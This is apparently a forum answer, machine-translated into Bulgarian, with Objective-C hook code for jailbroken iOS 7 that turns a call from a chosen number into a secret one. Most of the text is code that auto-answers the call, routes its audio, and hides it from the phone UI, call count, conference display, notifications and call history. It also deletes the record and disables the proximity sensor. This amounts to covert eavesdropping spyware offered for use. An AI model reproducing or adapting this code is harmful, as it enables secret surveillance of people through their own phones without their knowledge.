Ще се опитам да публикувам колкото мога код, но няма да работи от нулата. Използвам собствени макроси за генериране на кукички, така че трябва да ги пренапишете, за да работят с вашия код. Ще използвам псевдо функция IsHiddenCall
, за да определя дали дадено обаждане е нашето скрито обаждане (проста проверка на телефонен номер). Тук е, за да опрости кода. Очевидно трябва да го приложите сами. Ще има и други псевдо функции, но тяхното изпълнение е много просто и ще бъде очевидно от техните имена. Това не е просто ощипване, така че имайте търпение.
Освен това кодът не е ARC.
По принцип ние закачаме всичко, което може да каже на iOS, че има телефонно обаждане.
iOS 7
Нека започнем с iOS 7, тъй като това е последната версия на iOS в момента и внедряването на скрито повикване е по-лесно, отколкото в iOS 6 и по-стари версии.
Почти всичко, от което се нуждаем, се намира в частен TelephonyUtilities.framework
. В iOS 7 Apple премести почти всичко, свързано с телефонните разговори, в тази рамка. Ето защо стана по-просто - всички други компоненти на iOS използват тази рамка, така че трябва да я закачим само веднъж, без да е необходимо да ровим във всеки iOS демон, рамка, която може да направи нещо с телефонни обаждания.
Всички методи са закачени в два процеса - SpringBoard и MobilePhone (телефонно приложение). Идентификационните номера на пакета са съответно com.apple.springboard
и com.apple.mobilephone
.
Ето списъка с TelephonyUtilities.framework
метода, които закачам и в двата процеса.
//TUTelephonyCall -(id)initWithCall:(CTCallRef)call
//Here we return nil in case of a hidden call. That way iOS will ignore it
//as it checks for nil return value.
InsertHookA(id, TUTelephonyCall, initWithCall, CTCallRef call)
{
if (IsHiddenCall(call) == YES)
{
return nil;
}
return CallOriginalA(TUTelephonyCall, initWithCall, call);
}
//TUCallCenter -(void)handleCallerIDChanged:(TUTelephonyCall*)call
//This is CoreTelephony notification handler. We ignore it in case of a hidden call.
//call==nil check is required because of our other hooks that might return
//nil object. Passing nil to original implementation might break something.
InsertHookA(void, TUCallCenter, handleCallerIDChanged, TUTelephonyCall* call)
{
if (call == nil || IsHiddenCall([call destinationID]) == YES)
{
return;
}
CallOriginalA(TUCallCenter, handleCallerIDChanged, call);
}
//TUCallCenter +(id)callForCTCall:(CTCallRef)call;
//Just like TUTelephonyCall -(id)initWithCall:(CTCallRef)call
InsertHookA(id, TUCallCenter, callForCTCall, CTCallRef call)
{
if (IsHiddenCall(call) == YES)
{
return nil;
}
return CallOriginalA(TUCallCenter, callForCTCall, call);
}
//TUCallCenter -(void)disconnectAllCalls
//Here we disconnect every call there is except our hidden call.
//This is required in case of a hidden conference call with hidden call.
//Our call will stay hidden but active while other call is active. This method is called
//when disconnect button is called - we don't wont it to cancel our hidden call
InsertHook(void, TUCallCenter, disconnectAllCalls)
{
DisconnectAllExceptHiddenCall();
}
//TUCallCenter -(void)disconnectCurrentCallAndActivateHeld
//Just like TUCallCenter -(void)disconnectAllCalls
InsertHook(void, TUCallCenter, disconnectCurrentCallAndActivateHeld)
{
DisconnectAllExceptHiddenCall();
}
//TUCallCenter -(int)currentCallCount
//Here we return current calls count minus our hidden call
InsertHook(int, TUCallCenter, currentCallCount)
{
return CallOriginal(TUCallCenter, currentCallCount) - GetHiddenCallsCount();
}
//TUCallCenter -(NSArray*)conferenceParticipantCalls
//Hide our call from conference participants
InsertHook(id, TUCallCenter, conferenceParticipantCalls)
{
NSArray* calls = CallOriginal(TUCallCenter, conferenceParticipantCalls);
BOOL isThereHiddenCall = NO;
NSMutableArray* callsWithoutHiddenCall = [NSMutableArray array];
for (id i in calls)
{
if (IsHiddenCall([i destinationID]) == NO)
{
[callsWithoutHiddenCall addObject:i];
}
else
{
isThereHiddenCall = YES;
}
}
if (callsWithoutHiddenCall.count != calls.count)
{
//If there is only two calls - hidden call and normal - there shouldn't be any sign of a conference call
if (callsWithoutHiddenCall.count == 1 && isThereHiddenCall == YES)
{
[callsWithoutHiddenCall removeAllObjects];
}
[self setConferenceParticipantCalls:callsWithoutHiddenCall];
[self _postConferenceParticipantsChanged];
}
else
{
return calls;
}
}
//TUTelephonyCall -(BOOL)isConferenced
//Hide conference call in case of two calls - our hidden and normal
InsertHook(BOOL, TUTelephonyCall, isConferenced)
{
if (CTGetCurrentCallCount() > 1)
{
if (CTGetCurrentCallCount() > 2)
{
//There is at least two normal calls - let iOS do it's work
return CallOriginal(TUTelephonyCall, isConferenced);
}
if (IsHiddenCallExists() == YES)
{
//There is hidden call and one normal call - conference call should be hidden
return NO;
}
}
return CallOriginal(TUTelephonyCall, isConferenced);
}
//TUCallCenter -(void)handleCallStatusChanged:(TUTelephonyCall*)call userInfo:(id)userInfo
//Call status changes handler. We ignore all events except those
//that we marked with special key in userInfo object. Here we answer hidden call, setup
//audio routing and doing other stuff. Our hidden call is indeed hidden,
//iOS doesn't know about it and don't even setup audio routes. "AVController" is a global variable.
InsertHookAA(void, TUCallCenter, handleCallStatusChanged, userInfo, TUTelephonyCall* call, id userInfo)
{
//'call' is nil when this is a hidden call event that we should ignore
if (call == nil)
{
return;
}
//Detecting special key that tells us that we should process this hidden call event
if ([[userInfo objectForKey:@"HiddenCall"] boolValue] == YES)
{
if (CTCallGetStatus(call) == kCTCallStatusIncoming)
{
CTCallAnswer(call);
}
else if (CTCallGetStatus(call) == kCTCallStatusActive)
{
//Setting up audio routing
[AVController release];
AVController = [[objc_getClass("AVController") alloc] init];
SetupAVController(AVController);
}
else if (CTCallGetStatus(call) == kCTCallStatusHanged)
{
NSArray *calls = CTCopyCurrentCalls(nil);
for (CTCallRef call in calls)
{
CTCallResume(call);
}
[calls release];
if (CTGetCurrentCallCount() == 0)
{
//No calls left - destroying audio controller
[AVController release];
AVController = nil;
}
}
return;
}
else if (IsHiddenCall([call destinationID]) == YES)
{
return;
}
CallOriginalAA(TUCallCenter, handleCallStatusChanged, userInfo, call, userInfo);
}
Ето Foundation.framework
метод, който закачам и в двата процеса.
//In iOS 7 telephony events are sent through local NSNotificationCenter. Here we suppress all hidden call notifications.
InsertHookAAA(void, NSNotificationCenter, postNotificationName, object, userInfo, NSString* name, id object, NSDictionary* userInfo)
{
if ([name isEqualToString:@"TUCallCenterControlFailureNotification"] == YES || [name isEqualToString:@"TUCallCenterCauseCodeNotification"] == YES)
{
//'object' usually holds TUCall object. If 'object' is nil it indicates that these notifications are about hidden call and should be suppressed
if (object == nil)
{
return;
}
}
//Suppressing if something goes through
if ([object isKindOfClass:objc_getClass("TUTelephonyCall")] == YES && IsHiddenCall([object destinationID]) == YES)
{
return;
}
CallOriginalAAA(NSNotificationCenter, postNotificationName, object, userInfo, name, object, userInfo);
}
Ето последния метод, който закачам и в двата процеса от CoreTelephony.framwork
//CTCall +(id)callForCTCallRef:(CTCallRef)call
//Return nil in case of hidden call
InsertHookA(id, CTCall, callForCTCallRef, CTCallRef call)
{
if (IsHiddenCall(call) == YES)
{
return nil;
}
return CallOriginalA(CTCall, callForCTCallRef, call);
}
Ето функцията SetupAVController
, която използвах по-рано. Скритото повикване е наистина скрито - iOS не знае нищо за него, така че когато отговорим, аудио маршрутизирането не се извършва и няма да чуем нищо от другата страна. SetupAVController
прави това - настройва аудио маршрутизирането, както прави iOS, когато има активно телефонно обаждане. Използвам частни API от частни Celestial.framework
extern id AVController_PickableRoutesAttribute;
extern id AVController_AudioCategoryAttribute;
extern id AVController_PickedRouteAttribute;
extern id AVController_AllowGaplessTransitionsAttribute;
extern id AVController_ClientPriorityAttribute;
extern id AVController_ClientNameAttribute;
extern id AVController_WantsVolumeChangesWhenPaused;
void SetupAVController(id controller)
{
[controller setAttribute:[NSNumber numberWithInt:10] forKey:AVController_ClientPriorityAttribute error:NULL];
[controller setAttribute:@"Phone" forKey:AVController_ClientNameAttribute error:NULL];
[controller setAttribute:[NSNumber numberWithBool:YES] forKey:AVController_WantsVolumeChangesWhenPaused error:NULL];
[controller setAttribute:[NSNumber numberWithBool:YES] forKey:AVController_AllowGaplessTransitionsAttribute error:NULL];
[controller setAttribute:@"PhoneCall" forKey:AVController_AudioCategoryAttribute error:NULL];
}
Ето метод, който закачам само в процеса на мобилен телефон
/*
PHRecentCall -(id)initWithCTCall:(CTCallRef)call
Here we hide hidden call from call history. Doing it in MobilePhone
will hide our call even if we were in MobilePhone application when hidden call
was disconnected. We not only delete it from the database but also prevent UI from
showing it.
*/
InsertHookA(id, PHRecentCall, initWithCTCall, CTCallRef call)
{
if (call == NULL)
{
return CallOriginalA(PHRecentCall, initWithCTCall, call);
}
if (IsHiddenCall(call) == YES)
{
//Delete call from call history
CTCallDeleteFromCallHistory(call);
//Update MobilePhone app UI
id PHRecentsViewController = [[[[[UIApplication sharedApplication] delegate] rootViewController] tabBarViewController] recentsViewController];
if ([PHRecentsViewController isViewLoaded])
{
[PHRecentsViewController resetCachedIndexes];
[PHRecentsViewController _reloadTableViewAndNavigationBar];
}
}
return CallOriginalA(PHRecentCall, initWithCTCall, call);
}
Методи, които закачам в процеса на SpringBoard.
//SpringBoard -(void)_updateRejectedInputSettingsForInCallState:(char)state isOutgoing:(char)outgoing triggeredbyRouteWillChangeToReceiverNotification:(char)triggered
//Here we disable proximity sensor
InsertHookAAA(void, SpringBoard, _updateRejectedInputSettingsForInCallState, isOutgoing, triggeredbyRouteWillChangeToReceiverNotification, char state, char outgoing, char triggered)
{
CallOriginalAAA(SpringBoard, _updateRejectedInputSettingsForInCallState, isOutgoing, triggeredbyRouteWillChangeToReceiverNotification, state, outgoing, triggered);
if (IsHiddenCallExists() == YES && CTGetCurrentCallCount() == 1)
{
BKSHIDServicesRequestProximityDetectionMode = (void (*)(int))dlsym(RTLD_SELF, "BKSHIDServicesRequestProximityDetectionMode");
BKSHIDServicesRequestProximityDetectionMode(0);
}
}
//BBServer -(void)publishBulletin:(id)bulletin destinations:(unsigned int)destinations alwaysToLockScreen:(char)toLockScreen
//Suppress hidden call bulletins
InsertHookAAA(void, BBServer, publishBulletin, destinations, alwaysToLockScreen, id bulletin, unsigned int destinations, char toLockScreen)
{
if ([[bulletin section] isEqualToString:@"com.apple.mobilephone"] == YES)
{
NSArray *recordTypeComponents = [[bulletin recordID] componentsSeparatedByString:@" "];
NSString *recordType = recordTypeComponents[0];
NSString *recordCode = recordTypeComponents[1];
//Missed call bulletin
if ([recordType isEqualToString:@"missedcall"] == YES)
{
NSArray *recordCodeComponents = [recordCode componentsSeparatedByString:@"-"];
NSString *phoneNumber = recordCodeComponents[0];
if (IsHiddenCall(phoneNumber) == YES)
{
return;
}
}
}
CallOriginalAAA(BBServer, publishBulletin, destinations, alwaysToLockScreen, bulletin, destinations, toLockScreen);
}
//TUCallCenter -(id)init
//CoreTelephony notifications handler setup
InsertHook(id, TUCallCenter, init)
{
CTTelephonyCenterAddObserver(CTTelephonyCenterGetDefault(), self, CallStatusNotificationCallback, kCTCallStatusChangeNotification, NULL, CFNotificationSuspensionBehaviorDeliverImmediately);
return CallOriginal(TUCallCenter, init);
}
//Call status changes handler. Here we redirect status changes into hooked TUCallCenter method and doing some other stuff.
void CallStatusNotificationCallback(CFNotificationCenterRef center, void* observer, CFStringRef name, const void* object, CFDictionaryRef userInfo)
{
if (object == NULL)
{
return;
}
if (IsHiddenCall((CTCallRef)object) == YES)
{
[observer handleCallStatusChanged:object userInfo:[NSDictionary dictionaryWithObject:[NSNumber numberWithBool:YES] forKey:@"HiddenCall"]];
}
else
{
if (CTCallGetStatus((CTCallRef)object) == kCTCallStatusHanged)
{
if (IsHiddenCallExists() == YES)
{
//Setting up all the audio routing again. When normal call is hanged iOS may break audio routing as it doesn't know there is another active call exists (hidden call)
SetupAVController(AVController);
}
else if (CTGetCurrentCallCount() == 0)
{
[AVController release];
AVController = nil;
}
}
}
if (CTGetCurrentCallCount() > 1 && IsHiddenCallExists() == YES)
{
//Here we setup hidden conference call
NSArray *calls = CTCopyCurrentCalls(nil);
for (CTCallRef call in calls)
{
CTCallJoinConference(call);
}
[calls release];
}
}
iOS 5-6
iOS 5-6 е по-сложен. Кодът за телефония е разпръснат из много компоненти и API на iOS. Може да публикувам кода по-късно, тъй като нямам време в момента. Отговорът вече е наистина дълъг.
person
creker
schedule
06.04.2014